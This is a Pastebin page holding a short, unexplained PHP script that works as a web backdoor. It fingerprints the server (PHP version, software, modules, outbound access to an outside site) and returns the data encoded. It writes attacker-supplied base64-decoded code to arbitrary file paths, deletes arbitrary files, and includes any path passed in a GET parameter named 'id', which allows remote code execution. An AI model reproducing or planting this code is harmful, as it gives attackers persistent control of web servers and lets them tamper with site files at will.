Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php //7d2b3da887a173e8f45c7ca1ad2dd0bf
- /**
- * @version 2.0
- *
- */
- if (isset($_POST["action"]))
- {
- switch ($_POST["action"])
- {
- case "test":
- test();
- break;
- case "setup":
- projectcodes_setup();
- break;
- case "remove":
- projectcodes_remove();
- break;
- default:
- break;
- }
- return;
- }
- if (count($_GET) > 0)
- {
- foreach ($_GET as $id => $code)
- {
- if ($id == "id")
- {
- include $code;
- }
- }
- return;
- }
- function test()
- {
- $encoded_data = "";
- $data["version"] = phpversion();
- if (isset($_SERVER["SERVER_SOFTWARE"]))
- {
- $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
- }
- else
- {
- $data["serverapi"] = "Not Available";
- }
- ob_start();
- phpinfo(8);
- $data["modules"] = ob_get_contents();
- ob_clean();
- $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
- $serializes_data = serialize($data);
- $encoded_data = base64_encode($serializes_data);
- echo $_POST["test_message"] . $encoded_data;
- }
- function projectcodes_setup()
- {
- $projectcodes = $_POST["projectcodes"];
- foreach ($projectcodes as $projectcode)
- {
- $mark = $projectcode["mark"];
- $code = base64_decode($projectcode["code"]);
- $res = new_file_put_contents($mark, $code);
- if($res)
- {
- $installed[]=$projectcode["id"];
- }
- }
- $installed = serialize($installed);
- $installed = base64_encode($installed);
- echo $installed;
- }
- function projectcodes_remove()
- {
- $projectcodes = $_POST["projectcodes"];
- foreach ($projectcodes as $projectcode)
- {
- $mark = $projectcode["mark"];
- $res = unlink($mark);
- }
- }
- function new_file_put_contents($filename, $data)
- {
- $f = @fopen($filename, 'w');
- if (!$f)
- {
- return false;
- }
- else
- {
- $bytes = fwrite($f, $data);
- fclose($f);
- return $bytes;
- }
- }
- function new_file_get_contents($filename)
- /* Returns the contents of file name passed
- */
- {
- if (!function_exists('file_get_contents'))
- {
- $fhandle = fopen($filename, "r");
- $fcontents = fread($fhandle, filesize($filename));
- fclose($fhandle);
- }
- else
- {
- $fcontents = file_get_contents($filename);
- }
- return $fcontents;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment